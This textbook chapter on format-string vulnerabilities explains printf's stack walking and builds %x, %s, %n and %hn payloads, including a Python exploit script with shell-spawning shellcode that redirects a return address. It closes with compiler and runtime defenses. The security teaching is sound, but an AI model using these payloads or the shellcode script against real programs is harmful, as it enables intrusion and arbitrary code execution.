Chapter 10: Format-String Vulnerabilities
The attacks in the previous chapters all had the same shape: a buffer overflows and the attacker overwrites whatever happens to lie next to it — a flag, a function pointer, a saved return address. The defenders answered with canaries, randomization, and non-executable memory. Each of those defenses relies on a secret or an assumption that the attacker cannot read or write memory at will. This chapter introduces a bug that hands the attacker exactly that ability.
A format-string vulnerability occurs when a program lets attacker-controlled data
become the format string of a printf-family function. The bug looks almost
harmless — printf(buf) instead of printf("%s", buf) — yet with nothing but a
carefully chosen string, an attacker can crash the program, read the stack, read any
address in memory, and write any value to any address. With those primitives,
canaries can be read and skipped, ASLR can be defeated by leaking addresses, and the
return address can be rewritten without overflowing anything at all.
Learning objectives. After this chapter you should be able to:
- Explain why arbitrary memory read and write primitives are so valuable to an attacker, and which defenses each one defeats.
- Describe how variadic C functions find their optional arguments, and how
printfwalks the stack on 32-bit x86.- Predict what
printf(user_input)prints for a given stack layout and input.- Use
%s,%x,%n,%hn,%hhn, and the%k$parameter field to crash a program, leak memory, and write chosen values to chosen addresses.- Compute the width fields needed to write a specific 4-byte value with two
%hnwrites, and use them to redirect a return address to injected code.- Explain what changes on x86-64 and what developers, compilers, and libraries do to prevent these attacks.
10.1 Why Arbitrary Read and Write Matter
Before diving into printf, it is worth asking what an attacker would do with the
ability to read or write memory anywhere, because that is the payoff of this whole
chapter.
Recall the arms race from Chapter 4 through Chapter 7. A stack buffer overflow overwrites a contiguous range of memory starting at the buffer. The defenses from Chapter 6 were designed against exactly that:
high address
+------------------+
| input |
+------------------+
| return address | <- the prize
+------------------+
| canary | <- StackGuard: overflow must pass through this
+------------------+
| saved %ebp |
+------------------+
| locals ... |
+------------------+
| buf (ROP | <- overflow starts here and moves upward
| payload) |
+------------------+
low address
A linear overflow must trample the canary to reach the return address, and the attacker must know where code lives to make the new return address useful. Both assumptions break if the attacker can read and write memory selectively.
Arbitrary memory read lets the attacker leak critical data:
- Secrets, such as a password, a session key, or a private key held in memory.
- The stack canary. Once the canary value is known, an overflow can simply write the correct value back into the canary slot, and the check at function exit passes.
- Code and data addresses. A single leaked return address or library pointer reveals where a randomized module was loaded; subtracting a known offset gives its base, and ASLR is defeated for that module.
Arbitrary memory write lets the attacker change state directly:
- Program data, such as an
is_adminflag, a stored password hash, or a counter. - Control data, such as a saved return address, a function pointer, or an entry in the Global Offset Table (GOT) that the next call through the PLT will jump to (see Chapter 7). Overwriting a return address without touching the canary is the classic way a format-string bug bypasses StackGuard.
How does one get such primitives? Out-of-bounds reads and writes through a bad index or a bad length are one route; ROP gadgets that load from or store to attacker-chosen registers are another. The format-string bug is the purest route of all: the attacker supplies both the address and, as we will see, the value.
10.2 Variadic Functions in C
printf is a variadic function: the number of arguments it receives is not fixed
when the function is written. Its prototype says only that the first argument is a
format string:
int printf(const char *format, ...);
The argument list consists of one concrete argument, format, followed by zero or
more optional arguments. The ellipsis tells the compiler not to check the number or
types of the remaining arguments. How, then, does the function find them?
C provides a small API in <stdarg.h>: a type va_list and three macros.
| Macro | Purpose |
|---|---|
va_start(ap, last) | Initialize ap to point just past the last named argument last. |
va_arg(ap, type) | Return the next argument, interpreted as type, and advance ap by its size. |
va_end(ap) | Clean up when done. |
Here is a tiny variadic function that sums its optional integer arguments. The caller tells it how many there are:
#include <stdio.h>
#include <stdarg.h>
int myprint(int narg, ...)
{
va_list ap; /* 1: a cursor over the optional args */
int i, sum = 0;
va_start(ap, narg); /* 2: point ap just past narg */
for (i = 0; i < narg; i++) {
int v = va_arg(ap, int); /* 3: fetch an int, advance ap by 4 */
printf("arg %d = %d\n", i, v);
sum += v;
}
va_end(ap); /* 4: done */
return sum;
}
int main(void)
{
myprint(1, 2);
myprint(3, 10, 20, 30);
return 0;
}
On 32-bit x86 with the cdecl calling convention (Chapter 3),
all arguments are pushed on the stack in reverse order, so they sit at increasing
addresses in order. For the call myprint(3, 10, 20, 30) the callee sees:
high address
+-------------+
| 30 | <- va_arg #3
+-------------+
| 20 | <- va_arg #2
+-------------+
| 10 | <- va_start(ap, narg) sets ap here (&narg + 4)
+-------------+
| narg = 3 | <- the last named argument
+-------------+
| return addr |
+-------------+
low address
va_start computes the starting position from the address and size of narg.
Each va_arg(ap, int) returns the 4 bytes at ap and moves ap up by 4 bytes
(by 8 for a double). Notice what va_arg does not do: it has no idea where the
argument list ends. That information is not stored anywhere. The function must learn
it some other way — in myprint, from narg; in printf, from the format string.
Note. On x86-64 the System V ABI passes the first six integer arguments in registers, so
va_listis a small structure that first walks a register-save area and then the stack. The principle — the callee trusts its own idea of how many arguments exist — is unchanged. We return to x86-64 in Section 10.10.
10.3 How printf Walks Its Arguments
printf uses the format string as its argument count. It scans the string character
by character. Ordinary characters are copied to the output. Each % starts a
conversion specification that consumes one optional argument through va_arg:
| Directive | Argument treated as | Effect |
|---|---|---|
%d, %u, %x | an integer value | print it in decimal, unsigned decimal, or hex |
%c | an integer value | print one character |
%s | a pointer to a string | print the bytes at that address up to '\0' |
%p | a pointer value | print it as an address |
%n | a pointer to an int | write the number of characters printed so far to that address |
Consider:
int id = 100, age = 25;
char *name = "Bob Smith";
printf("ID: %d, Name: %s, Age: %d\n", id, name, age);
The caller pushes age, name, id, and finally the address of the format string,
then calls printf. Inside printf, the va_list pointer starts at the slot right
above the format-string argument:
high address
+------------------+
| age = 25 | <- 3rd % (%d)
+------------------+
| name = 0x... | <- 2nd % (%s): dereferenced!
+------------------+
| id = 100 | <- va_list starts here; 1st % (%d)
+------------------+
| &format string | <- printf's only named argument
+------------------+
| return address |
+------------------+
low address
For each directive, printf calls va_arg, uses the value, and advances the pointer
by one slot. Three directives, three arguments: everything matches.
Missing optional arguments
Now suppose the format string contains more directives than the caller passed arguments:
printf("ID: %d, Name: %s, Age: %d\n", id, name); /* age is missing */
The compiler may warn, but the program compiles and runs. printf cannot know the
third argument is missing: va_arg never reports “end of list.” When it reaches the
third %d, it fetches whatever 4 bytes lie in the next stack slot — perhaps a saved
register, a local variable of the caller, or a return address — and prints it.
That is the root of the vulnerability. The format string decides how far up the
stack printf reads, and what it does with each word it finds there. If the
programmer wrote the format string, this is merely a bug. If the attacker wrote it,
the attacker is now in control.
10.4 The Vulnerability
Programs sometimes print a user-supplied string like this:
printf(user_input); /* vulnerable */
sprintf(buffer, user_input); /* vulnerable */
fprintf(stderr, user_input); /* vulnerable */
syslog(LOG_ERR, user_input); /* vulnerable: syslog takes a format too */
snprintf(buf, sizeof(buf), user_input); /* vulnerable: bounded, but still formats */
In every case the user’s data becomes part of a format string. As long as the input
contains no %, the program behaves normally, which is why such bugs survive casual
testing. The correct form passes a constant format and supplies the data as an
argument:
printf("%s", user_input); /* safe: the input is data, not format */
This is the principle from Chapter 1 again: keep code and
data separate. The format string is a tiny program interpreted by printf; letting
the user write it is a code-injection bug in miniature.
Throughout this chapter we use a vulnerable program in the style of the lecture examples:
/* vul.c -- compile: gcc -m32 -fno-stack-protector -z execstack -o vul vul.c */
#include <stdio.h>
void fmtstr(void)
{
char user_input[100];
unsigned int var = 0x11223344;
printf("Target address: %p\n", (void *) &var);
printf("Data at target: 0x%x\n", var);
printf("Please enter a string: ");
fgets(user_input, sizeof(user_input) - 1, stdin);
printf(user_input); /* the bug */
printf("Data at target: 0x%x\n", var);
}
int main(void)
{
fmtstr();
return 0;
}
When printf(user_input) executes, the stack looks roughly like this:
high address
+----------------------+
| return address |
+----------------------+
| saved %ebp |
+----------------------+
| user_input[100] | <- bytes the attacker controls
| ... |
+----------------------+
| var = 0x11223344 |
+----------------------+
| other locals, saved |
| registers, padding |
+----------------------+
| &user_input | <- printf's format argument
+----------------------+
| return into fmtstr |
+----------------------+
low address
The va_list pointer starts right above the format argument and walks upward,
through the caller’s locals, and eventually into user_input itself. That last fact
is the key to every attack below: the attacker’s own bytes are among the
“arguments” printf will consume.
10.5 Attack 1: Crash the Program
The simplest attack uses %s:
%s%s%s%s%s%s%s%s
For each %s, printf fetches the word at the va_list pointer, treats it as an
address, and reads a string from that address. Some of the stack words will be small
integers, 0, or other values that are not valid mapped addresses. As soon as one of
them is dereferenced, the CPU raises a page fault and the process dies with a
segmentation fault.
$ echo '%s%s%s%s%s%s%s%s' | ./vul
Target address: 0xffffd2a4
Data at target: 0x11223344
Please enter a string: Segmentation fault (core dumped)
Several %s may be needed: the first few words may happen to be valid pointers (for
example, pointers into the stack), in which case printf prints some garbage and
continues. A crash is an availability attack; for a network server whose parent
process forks a child per request, it may only kill one child, but for a single-process
service it is a denial of service.
Note. A run of
%nalso crashes the program, for a different reason:%nwrites through the fetched word, and writing to an unmapped or read-only address faults even when reading it would have succeeded.
10.6 Attack 2: Read Memory
Printing the stack with %x
Replace %s with %x and printf prints the stack words instead of dereferencing
them:
$ echo '%x.%x.%x.%x.%x.%x.%x.%x' | ./vul
...
63.f7fa6620.565561c9.0.11223344.252e7825.78252e78.2e78252e
Use %08x (or %.8x) to pad each value to 8 hex digits, which makes the output
easier to parse and — importantly for later — makes the number of printed characters
predictable. Each %x advances the va_list pointer by 4 bytes, so to print a
particular stack slot you need as many %x as the distance (in words) between the
start of va_list and that slot. You usually find this distance by trial and error.
Reading a pwndbg stack dump
Here is a stack captured in pwndbg (Chapter 3) just before the
call printf@plt inside a function like fmtstr, with the input
%x %x %x %x %x %x %x %x\n:
00:0000│ esp 0xffffd430 —▸ 0xffffd448 ◂— '%x %x %x %x %x %x %x %x\n'
01:0004│ 0xffffd434 ◂— 0x63 /* 'c' */
02:0008│ 0xffffd438 —▸ 0xf7fa6620 (_IO_2_1_stdin_) ◂— 0xfbad2288
03:000c│ 0xffffd43c —▸ 0x565561c9 (fmtstr+12) ◂— add ebx, 0x2e03
04:0010│ 0xffffd440 ◂— 0
05:0014│ 0xffffd444 ◂— 0x11223344
06:0018│ eax 0xffffd448 ◂— '%x %x %x %x %x %x %x %x\n'
07:001c│ 0xffffd44c ◂— 'x %x %x %x %x %x %x\n'
What does printf print? The word at esp (0xffffd430) is the format argument
itself. va_list starts at 0xffffd434, so the eight %x print the eight words from
0xffffd434 upward:
| # | Address | Word | Printed |
|---|---|---|---|
| 1 | 0xffffd434 | 0x00000063 | 63 |
| 2 | 0xffffd438 | 0xf7fa6620 | f7fa6620 |
| 3 | 0xffffd43c | 0x565561c9 | 565561c9 |
| 4 | 0xffffd440 | 0x00000000 | 0 |
| 5 | 0xffffd444 | 0x11223344 | 11223344 |
| 6 | 0xffffd448 | bytes 25 78 20 25 ("%x %") | 25207825 |
| 7 | 0xffffd44c | bytes 78 20 25 78 ("x %x") | 78252078 |
| 8 | 0xffffd450 | bytes 20 25 78 20 (" %x ") | 20782520 |
So the output is:
63 f7fa6620 565561c9 0 11223344 25207825 78252078 20782520
Two observations matter a great deal.
- Slot 5 is
var. Five%xreach the local variable — a secret stored there would leak. - From slot 6 on,
printfis reading the format string itself. The bytes%,x,,%are0x25 0x78 0x20 0x25; read as a little-endian 32-bit integer they form0x25207825. The attacker’s input begins exactly at the 6th optional argument. Remember this number; every attack below uses it.
Notice also what else leaked. Slot 2 is a pointer into libc (_IO_2_1_stdin_), and
slot 3 is a code address inside fmtstr. With ASLR enabled, each of these reveals a
randomized base address: subtract the symbol’s known offset and you know where libc
and the program are loaded. This is how format-string bugs are used as the first
stage of an exploit that then performs ret2libc or ROP (Chapter 7).
Direct parameter access: %k$x
Typing many %x is tedious, and each one also adds to the printed output. POSIX
printf supports a parameter field: %k$x prints the k-th optional argument
directly, without consuming the others.
$ echo '%6$x' | ./vul # prints the first 4 bytes of the input itself
...
78243625
("%6$x" begins with bytes 25 36 24 78, which is 0x78243625.) The parameter
field works with every conversion — %6$s, %6$n, %6$hn — and is the tool of
choice whenever the offset is known.
Reading an arbitrary address with %s
Printing the stack is limited to whatever happens to be on the stack. To read
anywhere, the attacker needs an address on the stack that points where they want.
They put it there themselves: the input is on the stack. Place the target address in
the first 4 bytes of the input, then use %s on the 6th argument:
#!/usr/bin/env python3
import sys
addr = 0x080b4008 # address to read from (example)
payload = addr.to_bytes(4, byteorder='little') # becomes optional argument #6
payload += b"%x.%x.%x.%x.%x.%s\n" # five %x skip args 1-5; %s uses #6
# equivalently: payload += b"%6$s\n"
sys.stdout.buffer.write(payload)
printf first prints the 4 raw address bytes (as garbage characters), then five
words, and then dereferences the 6th word — the address the attacker supplied — and
prints the string stored there. Repeating this with different addresses dumps memory
at will.
Note. The address bytes travel inside a C string, so they must not contain
0x00(it would end the string), and if the program reads input withfgetsorscanf, they must not contain0x0a(newline) or, forscanf, whitespace. On 32-bit Linux, stack and heap addresses rarely contain zero bytes; this is one reason labs start on 32-bit.
10.7 Attack 3: Write Memory with %n
%n is the strangest conversion in C. It prints nothing; instead, it writes the
number of characters printed so far into the int pointed to by its argument:
int count;
printf("hello%n world\n", &count); /* count == 5 */
%n exists so that programs can, for example, align columns after printing a
variable-length field. In a format-string attack it is a write primitive:
- The address written to is whatever word the
va_listpointer reaches — and the attacker can place that word in the input, exactly as in the%sread. - The value written is the number of characters printed so far — and the attacker
controls that by choosing what to print before
%n.
Hence the format-string bug is a write-anything-anywhere primitive.
Changing var to some other value
In the lecture example, var lives at 0xbffff304 and holds 0x11223344. The goal
is to change it. The input begins at argument 6, so:
- Put
0xbffff304in the first 4 bytes of the input (argument 6). - Consume arguments 1–5 with five
%x-style conversions. - Use
%non argument 6.
To make the arithmetic predictable, use %.8x, which always prints exactly 8 hex
digits for a 32-bit value:
$ echo $(printf "\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x%.8x%n > input
$ ./vul < input
Target address: 0xbffff304
Data at target: 0x11223344
Please enter a string: ????0000006... (4 raw address bytes, then 40 hex digits)
Data at target: 0x2c
The count at the moment %n fires is 4 (the raw address bytes) + 5 × 8 (the five
%.8x) = 44 = 0x2c, and that is what lands in var. (Inside $(...),
printf "\x04" is the shell’s command that emits the single byte 0x04; command
substitution then splices its output into the line.)
Note. If you use plain
%xinstead of%.8x, the count depends on how many digits each value happens to have (0prints one digit,f7fa6620prints eight), and the result changes whenever the stack contents change. Always pad when you care about the exact value.
Changing var to a chosen value
The count can be inflated cheaply with a precision (or width) field: %.Nx
prints at least N digits, padding with zeros. To write 0x9896a9 = 10,000,041
into var, keep the address and the first four %.8x (4 + 32 = 36 characters) and
make the fifth conversion print the rest:
\x04\xf3\xff\xbf %.8x %.8x %.8x %.8x %.10000005x %n (spaces for readability only)
36 + 10,000,005 = 10,000,041 = 0x9896a9 characters precede %n. Every character
in the format string counts — including literal separators. The lecture version of
this attack uses . separators between the %xs, so 41 characters precede the wide
conversion and its precision is 10,000,000; 41 + 10,000,000 = 10,000,041 again.
This works, but printing ten million characters takes a noticeable amount of time,
and writing a typical address such as 0xbffff358 (about 3.2 billion) this way is
hopeless. The next attack solves that.
10.8 Attack 4: Faster Writes with %hn and %hhn
Length modifiers change how much %n writes:
| Directive | Writes | Bytes |
|---|---|---|
%n | int | 4 |
%hn | short | 2 |
%hhn | char | 1 |
%hn stores only the low 16 bits of the character count, so the count never needs to
exceed 65,535 — and because the stored value is the count modulo 216, the
attacker can keep printing past 65,535 to “wrap around” if needed.
Writing 0x66887799 into var
Split the 4-byte target into two 2-byte halves. x86 is little-endian, so:
address 0xbffff304 0xbffff305 0xbffff306 0xbffff307
byte 0x99 0x77 0x88 0x66
\_______ _______/ \_______ _______/
\/ \/
0x7799 at 0xbffff304 0x6688 at 0xbffff306
0x7799= 30,617 must go to0xbffff304(the low half).0x6688= 26,248 must go to0xbffff306(the high half).
Because the character count only ever increases, write the smaller value first:
0x6688 to 0xbffff306, then print 30,617 − 26,248 = 4,369 more characters and
write 0x7799 to 0xbffff304.
Both addresses must be in the input. The lecture layout is:
argument #: 6 7 8
input: [Address A] [ @@@@ ] [Address B] %.8x%.8x%.8x%.8x %.26204x %hn %.4369x %hn
0xbffff306 filler 0xbffff304
Walk through it, counting characters and arguments:
| Format piece | Consumes argument | Characters printed | Running count |
|---|---|---|---|
Address A (4 raw bytes) | — | 4 | 4 |
@@@@ (4 raw bytes) | — | 4 | 8 |
Address B (4 raw bytes) | — | 4 | 12 |
%.8x × 4 | 1–4 | 32 | 44 |
%.26204x | 5 | 26,204 | 26,248 = 0x6688 |
%hn | 6 = Address A | 0 | writes 0x6688 → 0xbffff306 |
%.4369x | 7 = @@@@ | 4,369 | 30,617 = 0x7799 |
%hn | 8 = Address B | 0 | writes 0x7799 → 0xbffff304 |
The @@@@ filler exists because the padding conversion %.4369x must consume an
argument: placing four junk bytes between the two addresses gives it something
harmless to eat, so that the following %hn lands exactly on Address B. After the
attack, var holds 0x66887799.
With the parameter field, the filler is unnecessary because each directive names its argument explicitly:
\x06\xf3\xff\xbf\x04\xf3\xff\xbf%1$26240x%6$hn%1$4369x%7$hn
Here only 8 bytes of addresses precede the first padding conversion, so it prints
26,248 − 8 = 26,240 characters. (%1$26240x prints argument 1 — any readable word
will do — padded with a width instead of a precision; either pads to the requested
length. POSIX leaves mixing numbered and unnumbered directives undefined, so once you
use $, number every directive.)
Try it. Starting from
var = 0x11223344, overwrite it with0x66773344. Only the upper two bytes change, so a single%hnto0xbffff306suffices. With the address as argument 6 and four%.8xbefore the padding conversion, the padding must be 0x6677 − 4 − 32 = 26,231 − 36 = 26,195:\x06\xf3\xff\xbf%.8x%.8x%.8x%.8x%.26195x%hn.
%hhn: one byte at a time
With %hhn, each write stores a single byte, so a 4-byte value needs four addresses
and four writes, and no padding conversion ever needs more than 255 characters.
Since the stored byte is the count modulo 256, a smaller byte after a larger one is
handled by printing up to the next multiple of 256 plus the desired value. %hhn
produces short payloads at the cost of more bookkeeping; %hn is the usual
compromise.
10.9 Attack 5: Injecting and Running Code
With a write-anything-anywhere primitive, overwriting a return address is just another write. The plan:
- Inject shellcode (Chapter 5) into the input buffer.
- Find its starting address A (using GDB, or from a leak).
- Find the address B of the return-address slot of the function that contains
the vulnerable
printf— typically the saved frame pointer plus 4. - Write A into B with two
%hnwrites. When the function returns, it jumps into the shellcode.
No buffer overflows, so the canary between the locals and the return address is never touched — StackGuard does not notice. (A non-executable stack still stops the shellcode; the attacker would then write the address of a libc function or a ROP chain instead.)
In the lecture example, the return-address slot is at B = 0xbffff38c and the
shellcode starts at A = 0xbffff358. Split A:
| Half | Value | Decimal | Destination |
|---|---|---|---|
| high | 0xbfff | 49,151 | 0xbffff38e (= B + 2) |
| low | 0xf358 | 62,296 | 0xbffff38c (= B) |
0xbfff is smaller, so it is written first, to 0xbffff38e. With the same layout as
Attack 4 (Address A = 0xbffff38e, @@@@, Address B = 0xbffff38c, four %.8x)
and no other literal characters, the first padding conversion must print
49,151 − 12 (three 4-byte fields) − 32 (four %.8x) = 49,107
and the second must print 62,296 − 49,151 = 13,145 more.
The lecture version of the payload contains five extra literal characters (separators)
before the first wide conversion, so its accounting reads
12 + 32 + 5 + 49,102 = 49,151; its second padding of 13,144 is followed by one more
literal character, giving 13,145. The lesson is the same either way: count every
byte of the format string that printf prints — raw address bytes, separators,
and padding alike — and check the arithmetic in GDB before trusting it.
#!/usr/bin/env python3
import sys
shellcode = (
b"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
b"\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
)
B = 0xbffff38c # return-address slot (from GDB)
A = 0xbffff358 # where the shellcode will be (from GDB)
hi, lo = A >> 16, A & 0xffff # 0xbfff, 0xf358 (hi < lo here)
payload = (B + 2).to_bytes(4, 'little') # arg 6: gets hi
payload += b"@@@@" # arg 7: eaten by the 2nd padding
payload += B.to_bytes(4, 'little') # arg 8: gets lo
payload += b"%.8x" * 4 # args 1-4
payload += b"%." + str(hi - 12 - 32).encode() + b"x" # arg 5
payload += b"%hn" # writes hi
payload += b"%." + str(lo - hi).encode() + b"x" # arg 7
payload += b"%hn" # writes lo
payload += b"\x90" * 50 + shellcode + b"\n" # NOP sled + shellcode
sys.stdout.buffer.write(payload)
In this sketch the shellcode follows the format directives inside the same buffer, so A must point into the NOP sled after them; in practice you compute A from the buffer’s address plus the offset at which the sled begins. If the low half were the smaller one, you would swap the order of the two addresses.
Note. The return address of the vulnerable function is not the only target. If the binary has a writable GOT (no full RELRO, see Chapter 6), overwriting the GOT entry of a function that is called after the
printf— for exampleexitorputs— redirects that call. GOT entries are at fixed addresses in a non-PIE binary, which makes them easier to target than stack slots.
10.10 Format Strings on x86-64
Two things change on 64-bit Linux.
Arguments start in registers. In the System V AMD64 ABI, the first six integer
arguments travel in rdi, rsi, rdx, rcx, r8, and r9. The format string
occupies rdi, so the first five optional arguments printf consumes are the
contents of rsi, rdx, rcx, r8, and r9 — whatever values those registers held
at the call. Only from the 6th optional argument on does printf read the stack, and
each slot is 8 bytes. %k$lx (note the l for a 64-bit value) and %k$n work as
before; only the offsets differ.
Addresses contain zero bytes. User-space addresses on x86-64 are at most
0x00007fffffffffff, so the top two bytes of every 8-byte address are zero.
printf stops processing the format string at the first 0x00, so an address
placed at the front of the payload terminates the format string before any
directive is reached. The fix is to place addresses at the end of the payload,
after all the directives, and reach them with %k$:
[ %<pad>x%<k>$hn%<pad>x%<k+1>$hn ... ] [padding to 8-byte alignment] [addr1][addr2]
\__________ directives ____________/ \___ args ___/
printf stops at the first zero byte inside addr1, but by then every directive has
already executed, and the %k$hn directives have reached the addresses on the stack
— where the zero bytes do no harm. The attacker must align the address area to
8 bytes and compute k from the offset of that area.
10.11 Countermeasures
Developers
Never pass untrusted data as a format string. Use printf("%s", s), fputs(s, f), or
puts(s) (note that puts appends a newline). The same rule applies to sprintf,
snprintf, fprintf, vprintf, syslog, err/warn, and to input functions such
as scanf and vfscanf, whose format strings are equally dangerous. Wrapper functions
that forward their own fmt argument to vprintf should be annotated with
__attribute__((format(printf, 1, 2))) so the compiler checks their call sites too.
Compilers
GCC and Clang can detect many vulnerable call sites:
/* test_fmt.c */
#include <stdio.h>
int main(void)
{
char *format = "Hello %x%x%x\n";
printf("Hello %x%x%x\n", 5, 4); /* mismatch: 3 directives, 2 args */
printf(format, 5, 4); /* same mismatch, non-literal format */
return 0;
}
$ gcc -m32 test_fmt.c
test_fmt.c:5:23: warning: format '%x' expects a matching 'unsigned int' argument [-Wformat=]
$ gcc -m32 -Wformat=2 test_fmt.c
test_fmt.c:5:23: warning: format '%x' expects a matching 'unsigned int' argument [-Wformat=]
test_fmt.c:6:12: warning: format not a string literal, argument types not checked [-Wformat-nonliteral]
With -Wformat enabled — Clang enables it by default, and Ubuntu’s GCC enables
-Wformat and -Wformat-security by default (upstream GCC needs -Wall) — the
compilers check only the first call, where the format is a literal. -Wformat=2 (which includes -Wformat-nonliteral and -Wformat-security)
also flags the second call, because the compiler cannot check a format string that is
not a literal. For the bare printf(user_input) pattern, -Wformat-security warns
format not a string literal and no format arguments; many distributions enable it by
default, and -Werror=format-security turns it into an error. These are only warnings:
the program still compiles, and it is up to the developer to listen.
Libraries and the runtime
_FORTIFY_SOURCE=2(with optimization) replacesprintfcalls with checked variants such as__printf_chk. These abort the program if a%ndirective appears in a format string located in writable memory — exactly where attacker input lives:*** %n in writable segment detected ***. See Chapter 6.- Some C runtimes disable
%naltogether; Microsoft’s CRT has done so by default for many years. - ASLR forces the attacker to leak addresses before writing them — which the format-string bug itself often provides, so ASLR alone is not a fix.
- Non-executable stacks stop the injected shellcode of Attack 5, though not the memory writes themselves; full RELRO makes the GOT read-only after startup.
Going deeper. Format-string bugs were recognized as a distinct vulnerability class around 2000, when a wave of remotely exploitable instances appeared in widely deployed daemons — for example, the
SITE EXECbug in wu-ftpd 2.6.0 (CVE-2000-0573). Within a year, scut’s “Exploiting Format String Vulnerabilities” (team teso, 2001) systematized the read/write techniques in this chapter, and Cowan et al.‘s FormatGuard (USENIX Security 2001) proposed a compile-time defense that counts a call’s actual arguments and rejects format strings that ask for more. Today the bug class is rare in mainstream C code thanks to compiler warnings, but it reappears in embedded firmware, logging wrappers, and in other languages’ formatting APIs.
Check Your Understanding
1. Why is printf("%s", buf) safe while printf(buf) is not, even though both
print the same thing when buf contains no % characters?
Answer
In printf("%s", buf) the format string is a constant written by the programmer:
it has exactly one directive and the call supplies exactly one argument, so printf
reads one argument and treats buf purely as data. In printf(buf) the user’s bytes
are the format string, so the user decides how many arguments printf fetches from
the stack and how each is used — as a value (%x), as a pointer to read (%s), or
as a pointer to write (%n). It is the code-versus-data separation principle.
2. Using the pwndbg dump in Section 10.6, what would the input %5$x print, and
what would %6$x print for the input ABCD%6$x?
Answer
%5$x prints the 5th optional argument, the word at 0xffffd444: 11223344.
For ABCD%6$x, the input begins at the 6th optional argument, whose first 4 bytes are
now A B C D = 0x41 0x42 0x43 0x44, read little-endian as 0x44434241; the output
is ABCD44434241.
3. A payload consists of a 4-byte address, then %.8x three times, then
%.100x, then %n. What value is written, and to which argument does %n apply?
Answer
4 + 3 × 8 + 100 = 128 (0x80) is written. The four padding conversions consume
optional arguments 1–4, so %n uses argument 5. For the attack to hit the supplied
address, the input must begin at argument 5 in this program; in the chapter’s example
(input at argument 6) one more conversion would be needed.
4. You must write 0x08041234 to address 0x0804a01c using two %hn. Which
half goes to which address, and in what order should you write them? If 12 bytes of
addresses/filler and 32 bytes of %.8x precede the first padding conversion, what
are the two padding lengths?
Answer
Little-endian: 0x1234 goes to 0x0804a01c and 0x0804 goes to 0x0804a01e.
0x0804 = 2,052 is smaller than 0x1234 = 4,660, so write 0x0804 to 0x0804a01e
first. First padding: 2,052 − 12 − 32 = 2,008. Second padding:
4,660 − 2,052 = 2,608.
5. Why does a format-string attack that overwrites a return address bypass StackGuard, while a stack buffer overflow does not?
Answer
StackGuard places a canary between the locals and the saved return address and checks
it before returning. A linear overflow must overwrite every byte between the buffer
and the return address, including the canary, so the check fails. The %n write goes
directly to the return-address slot without touching anything else, so the canary is
intact. (A format-string read can also leak the canary, which lets a separate overflow
rewrite it with the correct value.)
6. On x86-64, why must the target addresses be placed at the end of the payload rather than at the beginning?
Answer
User-space addresses are at most 0x00007fffffffffff, so their high bytes are 0x00.
printf stops at the first zero byte of the format string. Addresses at the front
would terminate the string before any directive ran. Placed at the end, the addresses
are still copied into the buffer on the stack, and %k$hn directives that come
earlier in the string can reach them by position.
7. Which of these stops Attack 5 (overwrite the return address to jump into
shellcode on the stack), and which stops the underlying write primitive: (a) a
non-executable stack, (b) -Wformat-security, (c) _FORTIFY_SOURCE=2, (d) ASLR?
Answer
(a) Stops the shellcode from running but not the write; the attacker can redirect
to libc or a ROP chain instead. (b) Only warns the developer; it stops the attack only
if the developer fixes the code. (c) Stops the %n write itself when the format
string is in writable memory, so it defeats the primitive (reads with %x/%s still
work). (d) Makes the target addresses unknown, but the same bug can usually leak them
first, so it raises the bar rather than stopping the attack.
Summary
- A format-string vulnerability arises when attacker-controlled data becomes the
format argument of a
printf-family function. The function trusts the format string to tell it how many arguments exist and how to use them. - On 32-bit x86,
printf’sva_listpointer starts just above the format argument and walks up the stack, eventually reaching the attacker’s own input. %sdereferences stack words (crash, or arbitrary read when the attacker supplies the address);%xprints stack words (leak secrets, canaries, and ASLR-randomized addresses);%k$selects an argument directly.%nwrites the number of characters printed so far to an attacker-chosen address, giving a write-anything-anywhere primitive. Width/precision fields control the value;%hn/%hhnsplit large values into 2- or 1-byte writes, written in increasing order.- Overwriting a return address or GOT entry with
%hnredirects control flow without touching the stack canary. - On x86-64, the first five optional arguments come from registers and addresses contain zero bytes, so addresses go at the end of the payload.
- Defenses: constant format strings (
printf("%s", s)), compiler warnings (-Wformat,-Wformat-security,-Wformat=2),_FORTIFY_SOURCE, and the general mitigations of Chapter 6.
Connection to the Labs
Lab 3: Format String and Reverse Shell applies this chapter to a root-owned network server running in a Docker container.
- Task 1 is Attack 1 (Section 10.5). Be ready to explain which directive faults and why.
- Task 2.A asks for the “magic number” k: the argument index at which your own
input begins (Section 10.6 found k = 6 for the chapter’s example; the lab’s server
has deeper call nesting, so expect a larger number). Use a recognizable marker and
then confirm with
%k$x. Task 2.B is the arbitrary read with%s. - Task 3 is Attacks 3 and 4:
%nfor any value, a precision field for an exact value, and two%hnwrites for0xAABBCCDD. Write out your character-count table as in Section 10.8 before you run anything. - Task 4 is Attack 5, using the frame pointer the server prints to locate the return-address slot; the shellcode then launches a reverse shell, explained in Chapter 11.
- Task 5 (optional) is Section 10.10 on the 64-bit server.
- The wrap-up asks you to read the
-Wformat-securitywarning and apply the fix from Section 10.11.
Further Reading
- Wenliang Du. Computer & Internet Security: A Hands-on Approach, 3rd edition, Chapter 6 (Format String Vulnerability).
- scut / team teso. “Exploiting Format String Vulnerabilities,” version 1.2, 2001. The classic tutorial on the techniques in this chapter.
- Crispin Cowan, Matt Barringer, Steve Beattie, Greg Kroah-Hartman, Mike Frantzen, and Jamie Lokier. “FormatGuard: Automatic Protection From printf Format String Vulnerabilities.” 10th USENIX Security Symposium, 2001.
man 3 printf(the%nconversion and them$parameter field) andman 3 stdarg.- Phoenix exercises, including format-string levels: https://exploit.education/phoenix/getting-started/